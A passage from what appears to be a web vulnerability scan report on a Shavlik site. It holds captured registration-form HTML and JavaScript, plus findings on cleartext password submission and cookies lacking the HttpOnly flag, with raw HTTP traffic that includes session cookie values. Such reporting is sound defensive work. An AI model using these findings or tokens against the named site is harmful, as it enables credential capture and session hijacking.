                                                            <td align="left"><input name="m_txtPhone" type="text" maxlength="50" id="m_txtPhone" style="width:200px;" value="" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblCompany" align="right">Company:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCompany" type="text" maxlength="200" id="m_txtCompany" type="text" name="m_txtCompany" size="20" style="width:200px;" value="" />

                                                            </td>

                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div id="divLblCity" align="right">City:<span class="alert">*</span></div></td>
                                                            <td align="left"><input name="m_txtCity" type="text" maxlength="200" id="m_txtCity" type="text" name="m_txtCity" size="20" style="width:200px;" value="City" />

                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>

                                                            <td><div id="divLblState" align="right">State:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlStates" id="m_ddlStates" style="width:200px;">
                                                               <option value="0" selected="selected" > -select-</option>
                                                               <option value="AL">Alabama</option>
                                                               <option value="AK">Alaska</option>
                                                               <option value="AS">American Samoa</option>

                                                               <option value="AZ">Arizona</option>
                                                               <option value="AR">Arkansas</option>
                                                               <option value="CA">California</option>
                                                               <option value="CO">Colorado</option>
                                                               <option value="CT">Connecticut</option>
                                                               <option value="DE">Delaware</option>

                                                               <option value="DC">District Of Columbia </option>
                                                               <option value="FM">Federated States Of Micronesia </option>
                                                               <option value="FL">Florida</option>
                                                               <option value="GA">Georgia</option>
                                                               <option value="GU">Guam</option>
                                                               <option value="HI">Hawaii</option>

                                                               <option value="ID">Idaho</option>
                                                               <option value="IL">Illinois</option>
                                                               <option value="IN">Indiana</option>
                                                               <option value="IA">Iowa</option>
                                                               <option value="KS">Kansas</option>
                                                               <option value="KY">Kentucky</option>

                                                               <option value="LA">Louisiana</option>
                                                               <option value="ME">Maine</option>
                                                               <option value="MH">Marshall Islands</option>
                                                               <option value="MD">Maryland</option>
                                                               <option value="MA">Massachusetts</option>
                                                               <option value="MI">Michigan</option>

                                                               <option value="MN">Minnesota</option>
                                                               <option value="MS">Mississippi</option>
                                                               <option value="MO">Missouri</option>
                                                               <option value="MT">Montana</option>
                                                               <option value="NE">Nebraska</option>
                                                               <option value="NV">Nevada</option>

                                                               <option value="NH">New Hampshire</option>
                                                               <option value="NJ">New Jersey</option>
                                                               <option value="NM">New Mexico</option>
                                                               <option value="NY">New York</option>
                                                               <option value="NC">North Carolina</option>
                                                               <option value="ND">North Dakota</option>

                                                               <option value="MP">Northern Mariana Islands</option>
                                                               <option value="OH">Ohio</option>
                                                               <option value="OK">Oklahoma</option>
                                                               <option value="OR">Oregon</option>
                                                               <option value="PW">Palau</option>
                                                               <option value="PA">Pennsylvania</option>

                                                               <option value="PR">Puerto Rico</option>
                                                               <option value="RI">Rhode Island</option>
                                                               <option value="SC">South Carolina</option>
                                                               <option value="SD">South Dakota</option>
                                                               <option value="TN">Tennessee</option>
                                                               <option value="TX">Texas</option>

                                                               <option value="UT">Utah</option>
                                                               <option value="VT">Vermont</option>
                                                               <option value="VI">Virgin Islands</option>
                                                               <option value="VA">Virginia</option>
                                                               <option value="WA">Washington</option>
                                                               <option value="WV">West Virginia</option>

                                                               <option value="WI">Wisconsin</option>
                                                               <option value="WY">Wyoming</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div align="right">Country:<span class="alert">*</span></div></td>

                                                            <td align="left"><select name="m_ddlCountries" onchange="javascript:setTimeout('__doPostBack(\'m_ddlCountries\',\'\')', 0)" id="m_ddlCountries" style="width:200px;">
                                                               <option selected="selected" value="1">USA</option>
                                                               <option value="2">APO/FPO</option>
                                                               <option value="3">Canada</option>
                                                               <option value="4">United Kingdom</option>
                                                               <option value="5">Afghanistan</option>

                                                               <option value="6">Albania</option>
                                                               <option value="7">Algeria</option>
                                                               <option value="8">American Samoa</option>
                                                               <option value="9">Andorra</option>
                                                               <option value="10">Angola</option>
                                                               <option value="11">Anguilla</option>

                                                               <option value="12">Antigua and Barbuda</option>
                                                               <option value="13">Argentina</option>
                                                               <option value="14">Armenia</option>
                                                               <option value="15">Aruba</option>
                                                               <option value="16">Australia</option>
                                                               <option value="17">Austria</option>

                                                               <option value="18">Azerbaijan Republic </option>
                                                               <option value="19">Bahamas</option>
                                                               <option value="20">Bahrain</option>
                                                               <option value="21">Bangladesh</option>
                                                               <option value="22">Barbados</option>
                                                               <option value="23">Belarus</option>

                                                               <option value="24">Belgium</option>
                                                               <option value="25">Belize</option>
                                                               <option value="26">Benin</option>
                                                               <option value="27">Bermuda</option>
                                                               <option value="28">Bhutan</option>
                                                               <option value="29">Bolivia</option>

                                                               <option value="30">Bosnia and Herzegovina</option>
                                                               <option value="31">Botswana</option>
                                                               <option value="32">Brazil</option>
                                                               <option value="33">British Virgin Islands</option>
                                                               <option value="34">Brunei Darussalam</option>
                                                               <option value="35">Bulgaria</option>

                                                               <option value="36">Burkina Faso</option>
                                                               <option value="37">Burma</option>
                                                               <option value="38">Burundi</option>
                                                               <option value="39">Cambodia</option>
                                                               <option value="40">Cameroon</option>
                                                               <option value="41">Canada</option>

                                                               <option value="42">Cape Verde Islands</option>
                                                               <option value="43">Cayman Islands</option>
                                                               <option value="44">Central African Republic</option>
                                                               <option value="45">Chad</option>
                                                               <option value="46">Chile</option>
                                                               <option value="47">China</option>

                                                               <option value="48">Colombia</option>
                                                               <option value="49">Comoros</option>
                                                               <option value="50">Congo, Democratic Republic of the </option>
                                                               <option value="51">Congo, Republic of the</option>
                                                               <option value="52">Cook Islands</option>
                                                               <option value="53">Costa Rica</option>

                                                               <option value="54">Cote d Ivoire (Ivory Coast)</option>
                                                               <option value="55">Croatia, Republic of </option>
                                                               <option value="56">Cuba</option>
                                                               <option value="57">Cyprus</option>
                                                               <option value="58">Czech Republic</option>
                                                               <option value="59">Denmark</option>

                                                               <option value="60">Djibouti</option>
                                                               <option value="61">Dominica</option>
                                                               <option value="62">Dominican Republic</option>
                                                               <option value="63">Ecuador</option>
                                                               <option value="64">Egypt</option>
                                                               <option value="65">El Salvador</option>

                                                               <option value="66">Equatorial Guinea</option>
                                                               <option value="67">Eritrea</option>
                                                               <option value="68">Estonia</option>
                                                               <option value="69">Ethiopia</option>
                                                               <option value="70">Falkland Islands (Islas Malvinas)</option>
                                                               <option value="71">Fiji</option>

                                                               <option value="72">Finland</option>
                                                               <option value="73">France</option>
                                                               <option value="74">French Guiana</option>
                                                               <option value="75">French Polynesia</option>
                                                               <option value="76">Gabon Republic</option>
                                                               <option value="77">Gambia</option>

                                                               <option value="78">Georgia</option>
                                                               <option value="79">Germany</option>
                                                               <option value="80">Ghana</option>
                                                               <option value="81">Gibraltar</option>
                                                               <option value="82">Greece</option>
                                                               <option value="83">Greenland</option>

                                                               <option value="84">Grenada</option>
                                                               <option value="85">Guadeloupe</option>
                                                               <option value="86">Guam</option>
                                                               <option value="87">Guatemala</option>
                                                               <option value="88">Guernsey</option>
                                                               <option value="89">Guinea</option>

                                                               <option value="90">Guinea-Bissau</option>
                                                               <option value="91">Guyana</option>
                                                               <option value="92">Haiti</option>
                                                               <option value="93">Honduras</option>
                                                               <option value="94">Hong Kong</option>
                                                               <option value="95">Hungary</option>

                                                               <option value="96">Iceland</option>
                                                               <option value="97">India</option>
                                                               <option value="98">Indonesia</option>
                                                               <option value="99">Iran</option>
                                                               <option value="100">Iraq</option>
                                                               <option value="101">Ireland</option>

                                                               <option value="102">Israel</option>
                                                               <option value="103">Italy</option>
                                                               <option value="104">Jamaica</option>
                                                               <option value="105">Jan Mayen</option>
                                                               <option value="106">Japan</option>
                                                               <option value="107">Jersey</option>

                                                               <option value="108">Jordan</option>
                                                               <option value="109">Kazakhstan</option>
                                                               <option value="110">Kenya Coast Republic</option>
                                                               <option value="111">Kiribati</option>
                                                               <option value="112">Korea, North</option>
                                                               <option value="113">Korea, South</option>

                                                               <option value="114">Kuwait</option>
                                                               <option value="115">Kyrgyzstan</option>
                                                               <option value="116">Laos</option>
                                                               <option value="117">Latvia</option>
                                                               <option value="118">Lebanon</option>
                                                               <option value="119">Liechtenstein</option>

                                                               <option value="120">Lithuania</option>
                                                               <option value="121">Luxembourg</option>
                                                               <option value="122">Macau</option>
                                                               <option value="123">Macedonia</option>
                                                               <option value="124">Madagascar</option>
                                                               <option value="125">Malawi</option>

                                                               <option value="126">Malaysia</option>
                                                               <option value="127">Maldives</option>
                                                               <option value="128">Mali</option>
                                                               <option value="129">Malta</option>
                                                               <option value="130">Marshall Islands</option>
                                                               <option value="131">Martinique</option>

                                                               <option value="132">Mauritania</option>
                                                               <option value="133">Mauritius</option>
                                                               <option value="134">Mayotte</option>
                                                               <option value="135">Mexico</option>
                                                               <option value="136">Moldova</option>
                                                               <option value="137">Monaco</option>

                                                               <option value="138">Mongolia</option>
                                                               <option value="139">Montserrat</option>
                                                               <option value="140">Morocco</option>
                                                               <option value="141">Mozambique</option>
                                                               <option value="142">Namibia</option>
                                                               <option value="143">Nauru</option>

                                                               <option value="144">Nepal</option>
                                                               <option value="145">Netherlands</option>
                                                               <option value="146">Netherlands Antilles </option>
                                                               <option value="147">New Caledonia</option>
                                                               <option value="148">New Zealand</option>
                                                               <option value="149">Nicaragua</option>

                                                               <option value="150">Niger</option>
                                                               <option value="151">Nigeria</option>
                                                               <option value="152">Niue</option>
                                                               <option value="153">Norway</option>
                                                               <option value="154">Oman</option>
                                                               <option value="155">Pakistan</option>

                                                               <option value="156">Palau</option>
                                                               <option value="157">Panama</option>
                                                               <option value="158">Papua New Guinea</option>
                                                               <option value="159">Paraguay</option>
                                                               <option value="160">Peru</option>
                                                               <option value="161">Philippines</option>

                                                               <option value="162">Poland</option>
                                                               <option value="163">Portugal</option>
                                                               <option value="164">Puerto Rico</option>
                                                               <option value="165">Qatar</option>
                                                               <option value="166">Romania</option>
                                                               <option value="167">Russian Federation </option>

                                                               <option value="168">Rwanda</option>
                                                               <option value="169">Saint Helena</option>
                                                               <option value="170">Saint Kitts-Nevis</option>
                                                               <option value="171">Saint Lucia</option>
                                                               <option value="172">Saint Pierre and Miquelon </option>
                                                               <option value="173">Saint Vincent and the Grenadines </option>

                                                               <option value="174">San Marino</option>
                                                               <option value="175">Saudi Arabia</option>
                                                               <option value="176">Senegal</option>
                                                               <option value="177">Seychelles</option>
                                                               <option value="178">Sierra Leone</option>
                                                               <option value="179">Singapore</option>

                                                               <option value="180">Slovakia</option>
                                                               <option value="181">Slovenia</option>
                                                               <option value="182">Solomon Islands</option>
                                                               <option value="183">Somalia</option>
                                                               <option value="184">South Africa</option>
                                                               <option value="185">Spain</option>

                                                               <option value="186">Sri Lanka</option>
                                                               <option value="187">Sudan</option>
                                                               <option value="188">Suriname</option>
                                                               <option value="189">Svalbard</option>
                                                               <option value="190">Swaziland</option>
                                                               <option value="191">Sweden</option>

                                                               <option value="192">Switzerland</option>
                                                               <option value="193">Syria</option>
                                                               <option value="194">Tahiti</option>
                                                               <option value="195">Taiwan</option>
                                                               <option value="196">Tajikistan</option>
                                                               <option value="197">Tanzania</option>

                                                               <option value="198">Thailand</option>
                                                               <option value="199">Togo</option>
                                                               <option value="200">Tonga</option>
                                                               <option value="201">Trinidad and Tobago </option>
                                                               <option value="202">Tunisia</option>
                                                               <option value="203">Turkey</option>

                                                               <option value="204">Turkmenistan</option>
                                                               <option value="205">Turks and Caicos Islands </option>
                                                               <option value="206">Tuvalu</option>
                                                               <option value="207">Uganda</option>
                                                               <option value="208">Ukraine</option>
                                                               <option value="209">United Arab Emirates</option>

                                                               <option value="210">United Kingdom</option>
                                                               <option value="211">United States</option>
                                                               <option value="212">Uruguay</option>
                                                               <option value="213">Uzbekistan</option>
                                                               <option value="214">Vanuatu</option>
                                                               <option value="215">Vatican City State </option>

                                                               <option value="216">Venezuela</option>
                                                               <option value="217">Vietnam</option>
                                                               <option value="218">Virgin Islands (U.S.)</option>
                                                               <option value="219">Wallis and Futuna</option>
                                                               <option value="220">Western Sahara</option>
                                                               <option value="221">Western Samoa</option>

                                                               <option value="222">Yemen</option>
                                                               <option value="223">Yugoslavia</option>
                                                               <option value="224">Zambia</option>
                                                               <option value="225">Zimbabwe</option>

                                                           </select>
                                                            </td>
                                                            </tr>

                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblProvince" align="right"> Province/Region:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlProvinces" id="m_ddlProvinces" disabled="disabled" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="AB">Alberta</option>

                                                               <option value="BC">British Columbia</option>
                                                               <option value="MB">Manitoba</option>
                                                               <option value="NB">New Brunswick</option>
                                                               <option value="NL">Newfoundland and Labrador</option>
                                                               <option value="NT">Northwest Territories</option>
                                                               <option value="NS">Nova Scotia</option>

                                                               <option value="NU">Nunavut</option>
                                                               <option value="ON">Ontario</option>
                                                               <option value="PE">Prince Edward Island</option>
                                                               <option value="QC">Quebec</option>
                                                               <option value="SK">Saskatchewan</option>
                                                               <option value="YT">Yukon</option>

                                                           </select></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td align="right"><div id="divLblReferredBy" align="right">Referred
                                                            By:<span class="alert">*</span></div></td>
                                                            <td align="left"><select name="m_ddlReferredBy" id="m_ddlReferredBy" style="width:175px;">
                                                               <option value="0">-select-</option>
                                                               <option value="1">VMware Go</option>

                                                               <option value="2">VMware</option>
                                                               <option value="3">Google</option>
                                                               <option value="4" selected="selected" >Bing</option>
                                                               <option value="5">Other search engine</option>
                                                               <option value="6">A colleague</option>
                                                               <option value="7">A friend</option>

                                                               <option value="8">Microsoft</option>
                                                               <option value="9">Past user</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr>
                                                            <td><div id="divLblQ2" align="right">Company<br />Size: <span class="alert">*</span></div></td>

                                                            <td align="left"><select name="Q2" id="Q2" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="12">1-99 </option>
                                                               <option value="13">100-499</option>
                                                               <option value="14">500-999</option>
                                                               <option value="15">1000-4999</option>

                                                               <option value="16">5000+</option>

                                                           </select>
                                                            </td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblNoOfComp" align="right"># of Computers:</div></td>
                                                            <td align="left"><input name="m_txtServers" type="text" maxlength="7" id="m_txtServers" type="text" name="m_txtServers" size="20" style="width:200px;" value="1" />

                                                            </td>
                                                            </tr>
                                                            <tr>
                                                            <td><div align="right">

                                                            </div></td>
                                                            <td align="left"></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ1" align="right">Which of the following best describes your organization?</div></td>
                                                            <td align="left"><select name="Q1" id="Q1" style="width:200px;">
                                                               <option value=""> -select-</option>
                                                               <option value="1">Financial</option>
                                                               <option value="3">Healthcare</option>
                                                               <option value="4">Services</option>

                                                               <option value="5">Manufacturing</option>
                                                               <option value="6">Federal Government</option>
                                                               <option value="7">State/Local Government </option>
                                                               <option value="8">Academic Institution</option>
                                                               <option value="9">Home User</option>
                                                               <option value="10">Reseller</option>

                                                               <option value="11" selected="selected">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td><div id="divLblQ3" align="right">I am:</div></td>
                                                            <td align="left"><select name="Q3" id="Q3" style="width:200px;">
                                                               <option value=""> -select-</option>

                                                               <option selected="selected" value="17">Gathering Information</option>
                                                               <option value="18">Evaluating Solutions</option>
                                                               <option value="19">Writing a Proposal</option>
                                                               <option value="20">Ready to Purchase</option>

                                                           </select></td>
                                                            </tr>
                                                            

                                                            <tr>
                                                            <td><div id="divLblQ4" align="right">Job Title: *</div></td>
                                                            <td align="left"><select name="Q4" id="Q4" style="width:200px;">
                                                               <option value="0"> -select-</option>
                                                               <option value="21">Administrator</option>
                                                               <option value="22">Auditor </option>

                                                               <option value="23">Consultant</option>
                                                               <option value="24">Management</option>
                                                               <option value="25">CXO</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">

                                                            <td><div id="divLblQ5" align="right">Today, I am a:</div></td>
                                                            <td align="left"><select name="Q5" id="Q5" style="width:200px;">
                                                               <option selected="selected" value=""> -select-</option>
                                                               <option value="26">Shavlik Customer</option>
                                                               <option value="27">Shavlik Partner</option>
                                                               <option value="28">Shavlik Reseller</option>

                                                               <option value="29">Other</option>

                                                           </select></td>
                                                            </tr>
                                                            
                                                            <tr style="display: none;">
                                                            <td align="right"></td>
                                                            <td align="left">Which of our mailing lists would you like to sign up for:</td>
                                                            </tr>

                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="shavlikAnnounce" type="checkbox" name="shavlikAnnounce" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-announce.aspx" target="_blank">Shavlik Product Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">

                                                            <input id="shavlikXml" type="checkbox" name="shavlikXml" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-shavlik-xml.aspx" target="_blank">Shavlik XML Announcements</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="patchManagement" type="checkbox" name="patchManagement" />
                                                            </div></td>

                                                            <td align="left"><a href="mail-list-patch-management-org.aspx" target="_blank">Patch Management Mailing List</a></td>
                                                            </tr>
                                                            <tr style="display: none;">
                                                            <td><div align="right">
                                                            <input id="remediator" type="checkbox" name="remediator" />
                                                            </div></td>
                                                            <td align="left"><a href="mail-list-remediator.aspx" target="_blank">The Remediator Mailing List</a></td>
                                                            </tr>

                                                            
                                                            <tr>
                                                            <td></td>
                                                            <td><input type="submit" name="btnSubmit" value="Submit" id="btnSubmit" onClick="return formCheck()" style="" />
                                                                   <span id="requiredText" style=""><br /><br />* Required Fields</span>
                                                                   </td>
                                                            </tr>
                                                            </table>



                                                           

                                                               


                                                           

                                                           


                                                           <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEW5AIC3bKtUQL5iYJ5Ao+6pzICv6qijQ4CkebzlA4ClJOCiwsCu8+N5w8C64bOoA0CpIbevg0CpIbavg0CpIa6vg0CpIbmvw0CpIaGvg0CpobCvg0CpobKvg0Cpoa+vg0Cp4byvg0Cp4b6vg0CoYbSvg0CoYbevg0CoobCvg0Cooayvg0Ck4aivg0CnIb+vg0CnIbevg0CnIbWvg0CnIbCvg0Cnoa6vg0Cnobivw0Cn4bCvg0CmIbyvg0CmIauvg0CmIb+vg0CmIbCvg0CmIaivg0CmIbWvg0CmIa6vg0CmIbKvg0CmIa+vg0CmYbyvg0CmYa2vg0CmYauvg0CmYamvg0CmYbSvg0CmYbivw0CmYb6vg0CmYb+vg0CmIaOvg0Cmoauvg0Cmobavg0CmoaGvg0Ci4aqvg0Ci4bCvg0Ci4aGvg0ClYaivg0Clob6vg0Clob+vg0Cl4bWvg0Cl4buvw0CkIa+vg0CkYa+vg0CkYaivg0CkYbCvg0CkobCvg0Ckoa2vg0Ckoaivg0Ckobivw0Cx93iggwCyLLIbALJsshsAsqyyGwCy7LIbALMsshsAs2yyGwCzrLIbALfsshsAtCyyGwCyLKIbwLIsoRvAsiygG8CyLK8bwLIsrhvAsiytG8CyLKwbwLIsqxvAsiy6GwCyLLkbALJsohvAsmyhG8CybKAbwLJsrxvAsmyuG8CybK0bwLJsrBvAsmyrG8CybLobALJsuRsAsqyiG8CyrKEbwLKsoBvAsqyvG8CyrK4bwLKsrRvAsqysG8CyrKsbwLKsuhsAsqy5GwCy7KIbwLLsoRvAsuygG8Cy7K8bwLLsrhvAsuytG8Cy7KwbwLLsqxvAsuy6GwCy7LkbALMsohvAsyyhG8CzLKAbwLMsrxvAsyyuG8CzLK0bwLMsrBvAsyyrG8CzLLobALMsuRsAs2yiG8CzbKEbwLNsoBvAs2yvG8CzbK4bwLNsrRvAs2ysG8CzbKsbwLNsuhsAs2y5GwCzrKIbwLOsoRvAs6ygG8CzrK8bwLOsrhvAs6ytG8CzrKwbwLOsqxvAs6y6GwCzrLkbALfsohvAt+yhG8C37KAbwLfsrxvAt+yuG8C37K0bwLfsrBvAt+yrG8C37LobALfsuRsAtCyiG8C0LKEbwLQsoBvAtCyvG8C0LK4bwLQsrRvAtCysG8C0LKsbwLQsuhsAtCy5GwC7vPvuAcCg8rJzQkCmN2r5gMCvbSE+wUC0o7mjQgC9+HApgICjPiiuwQCodO8zA4Clrn8kgYCq5DepwgC7vPruAcCg8rFzQkCmN2n5gMCvbSA+wUC0o7ijQgC9+H8pgICjPjeuwQCodO4zA4Clrn4kgYCq5DapwgC7vPnuAcCg8rBzQkCmN2j5gMCvbS8+wUC0o6ejAgC9+H4pgICjPjauwQCodO0zA4Clrn0kgYCq5DWpwgC7vPjuAcCg8r9zQkCmN3f5gMCvbS4+wUC0o6ajAgC9+H0pgICjPjWuwQCodOwzA4ClrnwkgYCq5DSpwgC7vOfuwcCg8r5zQkCmN3b5gMCvbS0+wUC0o6WjAgC9+HwpgICjPjSuwQCodOszA4ClrnskgYCq5DOpwgC7vObuwcCg8r1zQkCmN3X5gMCvbSw+wUC0o6SjAgC9+HspgICjPjOuwQCodOozA4ClrnokgYCq5DKpwgC7vOXuwcCg8rxzQkCmN3T5gMCvbSs+wUC0o6OjAgC9+HopgICjPjKuwQCodOkzA4ClrnkkgYCq5DGpwgC7vOTuwcCg8rtzQkCmN3P5gMCvbSo+wUC0o6KjAgC9+HkpgICjPjGuwQCodOgzA4ClrngkgYCq5DCpwgC7vPPuAcCg8qpzQkCmN2L5gMCvbTk+AUC0o7GjQgC9+GgpgICjPiCuwQCodOczA4ClrnckgYCq5C+pwgC7vPLuAcCg8qlzQkCmN2H5gMCvbTg+AUC0o7CjQgC9+HcpgICjPi+uwQCodOYzA4ClrnYkgYCq5C6pwgC7/PvuAcChMrJzQkCmd2r5gMCvrSE+wUC047mjQgC6OHApgICjfiiuwQCotO8zA4Cl7n8kgYCrJDepwgC7/PruAcChMrFzQkCmd2n5gMCvrSA+wUC047ijQgC6OH8pgICjfjeuwQCotO4zA4Cl7n4kgYCrJDapwgC7/PnuAcChMrBzQkCmd2j5gMCvrS8+wUC046ejAgC6OH4pgICw57B7gwCnPHjHgKd8d8eAqDx4x4CofHjHgKh8fseAqHxmx4CofGfHgKh8ZceAqLx8x4Cs/HXHgKs8d8eAq7x/x4CtPGbHgKen4PSCQKBn4PSCQKAn4PSCQKDn4PSCQKCn4PSCQKFn4PSCQKEn4PSCQKHn4PSCQKWn4PSCQKZn4PSCQL/gMgDAmAC4IA8AuCAOALggDQC4IAwAryryvkBAu/v5u0MAuCAzAMC4oDMAwLjgMwDAuSAzAMC5YDMAwLmgMwDAveAzAMC+IDMAwLggAwCYALv797tDALggBAC4IDUAwLggNgDAuGANALv79rtDALhgDwC4YA4AuGABAJhAuGADALv79btDALhgAQC4YAYAuGA3AMC4YDQAwLz0b+FBwKxwe2iCQKjrPWEAwLYm6z4CwLCi9reA61NEby+pc1nwwX0Z/nanIJXLeyW" />


                                                                                                           </form>
                                                                                                           
                                               </td>
                                           </tr>


                   </div>




               </div>

               <br / style="clear:both;">

               <div id=footer>
                   Shavlik Technologies, LLC | Privacy Policy | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: sales@shavlik.com
               </div>

            </div>
            <img src="images/SHAV_bottomBar.jpg">
   </div>

</body>
</html>

</html>

3. Cleartext submission of password previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/customer-login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.oppsource.com/oppsource/login.cfm

The form contains the following password field:

sPassword

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /customer-login HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

4. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://learn.shavlik.com
Path:	/shavlik/index.cfm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=610667;expires=Wed, 13-Mar-2041 11:44:55 GMT;path=/
CFTOKEN=21413296;expires=Wed, 13-Mar-2041 11:44:55 GMT;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /shavlik/index.cfm?m=1033&pg=697&h=0&hp=697 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 11:44:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=610667;expires=Wed, 13-Mar-2041 11:44:55 GMT;path=/
Set-Cookie: CFTOKEN=21413296;expires=Wed, 13-Mar-2041 11:44:55 GMT;path=/
Content-Type: text/html; charset=UTF-8


































<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe>
<iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>

<script type="text/javascript">

function formCheck() {

retValue = false;

if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55)
       {
       alert("Please enter your First Name, between 2 and 55 characters");
       }

else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55)
       {
       alert("Please enter your Last Name, between 2 and 55 characters");
       }

   else if(document.getElementById('m_txtEmail').value == "")
       {
       alert("Please enter your email address");
       }

   else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1)
       {
       alert("Please enter a valid email address");
       }

else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50)
       {
       alert("Please enter your Phone Number, at least 10 characters");
       }

   else if(document.getElementById('m_txtCompany').value == "")
       {
       alert("Please enter your Company Name");
       }
else if(document.getElementById('m_ddlStates').value == 0)
       {
       alert("Please Choose Your State");
       }
else if(document.getElementById('Q2').value == 0)
       {
       alert("Please Choose the size of your company");
       }
   else if(document.getElementById('Q4').value == 0)
       {
       alert("Please Choose your job title");
       }

else
   {
       sLN = document.getElementById('m_txtLastName').value;


        document.getElementById('DownloadInfo').action = '/shavlik/download.cfm?nFileID=0&pg=697';
        document.getElementById('DownloadInfo').target = 'regFrame2';
        document.getElementById('DownloadInfo').submit();

        document.getElementById('m_txtLastName').value += ' -O';

        if(document.getElementById('netchk').checked == 1)
        {

            document.getElementById('DownloadInfo').action = 'http://www.shavlik.com/pDownloadForm4.aspx';
            document.getElementById('DownloadInfo').target = 'regFrame';
            document.getElementById('DownloadInfo').submit();

        }

           document.getElementById('m_txtLastName').value = sLN;

           if(document.getElementById('netchk').checked == 1){
               sNET = document.getElementById('netchk').value = 1;
               }
           else
               {
               sNET = document.getElementById('netchk').value = 0;
               }

           if(document.getElementById('caseStudy').checked == 1)
               {
               sCASE = document.getElementById('caseStudy').value = 1;
               }
           else
               {
               sCASE = document.getElementById('caseStudy').value = 0;
               }

           if(document.getElementById('webinar').checked == 1)
               {
               sWEB = document.getElementById('webinar').value = 1;
               }
           else
               {
               sWEB = document.getElementById('webinar').value = 0;
               }

               retValue = true;

            sUrl = 'thank.cfm?bnetchk=' + sNET + '&bcaseStudy=' + sCASE + '&bwebinar=' + sWEB;

               Shadowbox.open({
           content: sUrl,
           player: "iframe",
           width: 500,
               height: 400
           });



       }

return retValue;
}

</script>
























































































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
